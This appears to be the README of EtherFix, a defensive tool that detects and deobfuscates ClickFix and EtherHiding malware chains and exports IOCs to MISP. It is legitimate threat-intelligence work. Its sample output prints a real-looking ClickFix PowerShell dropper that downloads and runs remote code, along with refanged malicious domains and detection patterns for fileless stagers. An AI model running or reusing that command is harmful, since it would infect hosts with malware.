EtherFix

Universal Multi-Chain EtherHiding & ClickFix Threat Extraction Platform
Automated EVM Bytecode Carving, Multi-Layer Deobfuscation, Stealth Sandbox Emulation, Centralized Cross-Platform CLI Parsing, Modular Cryptographic Engine (AES/RC4/ChaCha20/XOR), In-Memory Stager Detection, TLS / JARM Pivoting, and MISP IOC Generation for SOC & Threat Intelligence Teams.

---

Overview

EtherFix is an automated threat extraction and incident response engine designed to uncover, deobfuscate, and analyze advanced ClickFix and EtherHiding attack chains.

Modern malware campaigns (such as ClearFake and ClickFix variants) abuse public blockchain infrastructure (Ethereum, BNB Smart Chain, Base, Arbitrum, Polygon, Avalanche, Linea, Scroll, Optimism, etc.) as resilient Command-and-Control (C2) bulletproof hosting. They hide malicious staging scripts inside EVM smart contract bytecode, transaction calldata, and dynamic storage slots, often encrypted with AES-GCM or compressed with GZIP.

EtherFix automates the end-to-end investigation pipeline:

1. Stealth Sandbox & Challenge Auto-Click: Emulates browser sessions with CloakBrowser / Playwright, bypasses anti-bot checks, automatically triggers CAPTCHA/human verification challenges, and intercepts clipboard APIs.
2. Multi-Chain EVM State Carving: Connects to EVM RPC nodes, disassembles contract bytecode, tracks storage slots, and parses historical transaction calldata across public block explorers.
3. Modular Multi-Algorithm Decryption: Breaks on-chain and client-side encryption across AES-GCM, AES-CBC, ChaCha20-Poly1305, RC4 (ARC4), and Multi-byte XOR with automatic GZIP/Deflate decompression.
4. Surgical Cryptographic Key Extraction: Mathematically scores candidate keys with Shannon Entropy ($H \ge 3.3$ / $H \ge 3.8$) and extracts symmetric keys, IVs, KDF seeds, and RSA public keys from EVM storage and crypto APIs (CryptoJS, WebCrypto, SJCL, Forge, Noble-Ciphers).
5. Cross-Platform CLI & Fileless Stager Extraction: Parses Windows CMD, PowerShell, macOS (bash, zsh, osascript), and Linux (sh) droppers with complete variable expansion and in-memory injection signature analysis.
6. TLS SANs & JARM Fingerprinting: Extracts Subject Alternative Names (SANs) directly from remote X.509 certificates and computes pure-Python RFC-compliant JARM fingerprints (supporting TLS 1.3 Key Share).
7. Zero-Cost OSINT Threat Pivoting: Expands attacker infrastructure across Certificate Transparency logs (Certspotter & crt.sh) and urlscan.io JARM indices without requiring paid API keys.
8. Actionable SOC Intelligence & MISP Feeds: Generates structured reports (report.json, obfuscated_artifacts.json) and copy-paste ready MISP IOC feeds (misp_iocs.txt).

---

Key Capabilities

• CloakBrowser Stealth Fingerprinting: Integrated support for CloakBrowser with automatic evasion of bot-detection scripts, alongside transparent fallback to Playwright Chromium.
• Heuristic Challenge Auto-Click: Traverses standard DOM and Shadow DOM components to automatically click fake CAPTCHA and "Verify you are human" ClickFix triggers across 25+ localized languages.
• Clipboard API Interception: Transparent runtime hooks on navigator.clipboard.writeText and document.execCommand('copy') to capture hidden ClickFix copy-paste dropper commands.
• Modular Cryptographic Engine (engines/crypto_engine.py): Standalone decryption engine supporting AES-GCM, AES-CBC, ChaCha20-Poly1305, RC4, and Multi-byte XOR with automatic key derivation and decompression.
• Surgical Key Classification (detection/crypto_rules.py): Context-aware key extraction enforcing Shannon entropy thresholds and provenance verification (on-chain EVM storage slots, CryptoJS, WebCrypto Subtle, SJCL, Forge, Noble-Ciphers, inlined Rijndael S-Box constants) to guarantee zero false positives on minified third-party JS bundles.
• Centralized Detection Engine (detection/): Fully modularized taxonomy governing CLI rules, network patterns, behavioral signatures, EVM signatures, and cryptographic operations with zero cross-file duplication.
• In-Memory & Fileless Dropper Detection: Comprehensive coverage of .NET Reflection ([Assembly]::Load), Memory Streams, P/Invoke Win32 API memory allocation (VirtualAlloc, WriteProcessMemory, CreateRemoteThread), and Unix streaming pipes (base64 -d | sh, xxd -r -p | bash).
• Contextual 3-Stage Command Validator: Anti-False-Positive engine enforcing launcher token boundaries, execution switches, and payload targets while immunizing against crawler User-Agent blacklists and DOM identifiers (nc_shown, nc-cover, sh-btn, py-2).
• EVM Daisy-Chaining & Dynamic Selector Extraction: Disassembles contract dispatcher bytecode (first 1500 bytes) to harvest 4-byte function selectors dynamically and follows chained smart contracts recursively.
• Zero-Cost TLS & SANs Extraction: Connects via native TLS sockets and cryptography to extract X.509 Subject Alternative Names (SANs) and Issuer details without third-party APIs.
• RFC-Compliant JARM Engine: Custom pure-Python JARM implementation featuring TLS 1.3 key_share (X25519) and signature_algorithms extensions to prevent handshake drops on modern C2 servers.
• Zero-Cost OSINT Threat Pivoting: Automatically correlates discovered C2 domains against Certificate Transparency logs (Certspotter / crt.sh) and searches urlscan.io for servers sharing identical JARM hashes.
• Automated MISP Export: Exports segmented, categorized, and defanged threat feeds (misp_iocs.txt) with dedicated cryptographic key attributes and a flat refanged block for 1-click import into MISP Free-text Populate.

---

Installation

Prerequisites

• Python 3.9 or higher
• Node.js (optional, used for dynamic string table deobfuscation)

Setup

# Clone repository
git clone https://github.com/xLuckySzx/etherfix.git
cd etherfix

# Create virtual environment
python -m venv .venv

# Activate virtual environment
# Windows:
.venv\Scripts\activate
# Linux/macOS:
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Install Playwright browser binaries
playwright install chromium

---

Usage

1. Analyze a Compromised Website

Run a full scan on a target URL with threat intelligence enrichment, TLS analysis, and MISP IOC export:

python main.py https://target-compromised-site.com --report incident_001 --enrich

2. Analyze Smart Contracts (Single or Multi-Contract Batch)

Inspect on-chain smart contracts directly by passing one or multiple EVM addresses (with automatic cross-chain detection across Ethereum, BSC, Base, Polygon, Arbitrum, Optimism, Avalanche, etc.):

python main.py 0x6d2c5435EF70196740a48904B69377935D50abBB 0x839d1cE5c3F259e8d3D17114d7186EDabdbeA94b 0x9A4752cAA1C15868487A0ACb691F81bfA901E063 --report deaddrop_investigation --enrich

3. Active Stage 2 Probing

Enable active HTTP probing on discovered staging URLs to extract second-stage payloads:

python main.py https://target-compromised-site.com --probe --enrich --report full_triage

4. Continuous Blockchain Threat Watcher (Daemon & Sweep)

Monitor registered EVM contracts on-chain, automatically detect attacker C2 gate updates/rotations, and stream fresh MISP threat intel:

# One-time sweep across all monitored smart contracts
python blockchain_watcher.py --sweep

# View registered contracts and known IOC counts
python blockchain_watcher.py --list

# Continuous background daemon polling every 1 hour (3600s)
python blockchain_watcher.py --daemon --interval 3600 --enrich

---

Command Line Options

Argument	Type	Description
target	Positional	Target compromised website URL (https://...) or one/multiple Smart Contract addresses (0x...).
--report <PREFIX>	Optional	Prefix for exporting report.json, obfuscated_artifacts.json, and misp_iocs.txt under reports/<PREFIX>/.
--enrich	Flag	Enriches discovered C2 domains with RDAP registrar data, domain age, ASN, TLS SANs, JARM, and Threat Pivots.
--probe	Flag	Actively sends HTTP requests to discovered C2 endpoints to fetch and carve Stage 2 droppers.
--proxy <URL>	Optional	Routes browser sandbox, probing, and intelligence through an HTTP or SOCKS5 proxy (e.g. socks5://127.0.0.1:1080).
--tor [COUNTRY]	Optional	Routes all traffic through local Tor daemon with optional ISO country code Exit Node selection (e.g. --tor CH).
--rpc <URL>	Optional	Custom JSON-RPC endpoint to override automatic multi-chain detection.
--headed	Flag	Runs the browser in visible (headed) mode for interactive inspection.

---

Output Architecture

When executing with --report <PREFIX>, EtherFix generates an investigation directory under reports/<PREFIX>/:

reports/
└── <PREFIX>/
    ├── report.json                 # Complete structured machine-readable incident report (SIEM / SOAR)
    ├── obfuscated_artifacts.json   # Pure decoded/unpacked obfuscated JavaScript payloads grouped by origin
    └── misp_iocs.txt               # Categorized, defanged & flat refanged IOC lists ready for MISP ingestion

Sample misp_iocs.txt

================================================================================
ETHERFIX MISP INCIDENT RESPONSE THREAT INTELLIGENCE REPORT
================================================================================
Generated: 2026-08-19T12:00:00Z
Target Analyzed: https://target-compromised-site.com

# ----------------------------------------------------------------------------
# 1. MALICIOUS DOMAINS & C2 HOSTS (2) - [MISP Type: domain]
# Category: Network activity
# ----------------------------------------------------------------------------
cloudenterprise26[.]com
dntds[.]shop

# ----------------------------------------------------------------------------
# 2. STAGING & PAYLOAD DELIVERY URLS (1) - [MISP Type: url]
# Category: Payload delivery / Network activity
# ----------------------------------------------------------------------------
hxxps://cloudenterprise26[.]com/std

# ----------------------------------------------------------------------------
# 3. COMPROMISED SMART CONTRACTS (1) - [MISP Type: btc]
# Category: Financial fraud / External analysis
# ----------------------------------------------------------------------------
0xfb448d465841c63f3bc433be61eb692b813d469d

# ----------------------------------------------------------------------------
# 4. CLICKFIX EXECUTION COMMANDS (1) - [MISP Type: command-line / text]
# Category: Artifacts dropped / Payload delivery
# ----------------------------------------------------------------------------
powershell.exe -w hidden -c "irm https://cloudenterprise26.com/std | iex"

================================================================================
# MISP FREE-TEXT POPULATE (FLAT REFANGED LIST)
# Paste this block directly into MISP 'Free-text Import' / 'Populate from text'
================================================================================
0xfb448d465841c63f3bc433be61eb692b813d469d
cloudenterprise26.com
dntds.shop
https://cloudenterprise26.com/std

---

Project Structure

etherfix/
├── core/
│   ├── config.py             # Centralized settings, timeouts, endpoints, ASNs, JARMs & Chain Registry
│   ├── defanger.py           # RFC-compliant IOC defanging, URL normalizer & victim domain guard
│   ├── models.py             # Typed dataclasses for provenance, TLS footprints, crypto keys & report schemas
│   ├── pipeline_helpers.py   # Orchestration helpers for sandbox, EVM harvest & deobfuscation
│   ├── script_normalizer.py  # Variable expansion & string literal extractor
│   ├── validators.py         # Type validation, input sanity checks & Shannon entropy bounds
│   └── watcher_storage.py    # Persistent JSON storage for continuous contract monitoring
├── detection/
│   ├── __init__.py           # Re-exports centralized detection catalogs
│   ├── cli_rules.py          # Unified cross-platform CLI taxonomy & in-memory stager signatures
│   ├── crypto_rules.py       # Cryptographic API patterns (CryptoJS, WebCrypto, SJCL, Forge, Noble) & S-Box constants
│   ├── behavioral_rules.py   # TDS gateway cloaking & ClickFix lure templates
│   ├── network_rules.py      # Downloader utilities, FQDN & IPv4 extraction
│   ├── obfuscation_rules.py  # String table, packer & Data URI patterns
│   └── evm_rules.py          # EVM dispatcher disassembler & EtherHiding RPC signatures
├── engines/
│   ├── sandbox.py            # CloakBrowser / Playwright sandbox, challenge auto-click & clipboard hooks
│   ├── crypto_engine.py      # Multi-algorithm decryption (AES-GCM/CBC, ChaCha20, RC4, XOR) & entropy scoring
│   ├── evm_inspector.py      # EVM JSON-RPC storage dumper & bytecode disassembler
│   ├── deobfuscator.py       # JavaScript string table and Dean Edwards packer resolver
│   ├── artifact_parser.py    # Multi-platform command parser & MITRE ATT&CK classifier
│   ├── stage2_prober.py      # Active HTTP C2 staging probing engine
│   ├── enricher.py           # RDAP / DoH / ASN threat intelligence engine
│   ├── tls_inspector.py      # Pure-Python X.509 SANs extractor & RFC-compliant JARM engine
│   ├── threat_pivoter.py     # Zero-cost Certificate Transparency & urlscan.io JARM pivoter
│   ├── explorers.py          # Multi-chain block explorer API client
│   └── watcher_engine.py     # Continuous delta-diffing and multi-chain polling engine
├── reporting/
│   ├── console.py            # Rich terminal incident response formatter, tables & banner
│   └── exporter.py           # Structured JSON, forensic artifacts & MISP IOC bundle exporter
├── blockchain_watcher.py     # Autonomous Blockchain Threat Intelligence daemon
├── main.py                   # CLI entrypoint & orchestrator
├── requirements.txt          # Production dependencies
└── README.md

---

Security & Operational Safety

• Automatic Defanging: All domains, URLs, and IP addresses in reports and logs are automatically defanged (hxxps://, [.]) to prevent accidental execution or perimeter alerts.
• Zero Host Execution: All intercepted ClickFix commands and payloads are strictly parsed and emulated; no dropper commands are ever executed on the host system.
• Opt-In Active Probing: Second-stage HTTP probing (--probe) and external enrichment (--enrich) require explicit command-line flags to comply with corporate rules of engagement.
• Enterprise-Ready: Fully typed (typing), modular architecture adhering to DRY and Single Responsibility principles.

---

Built with ❤️ Angelo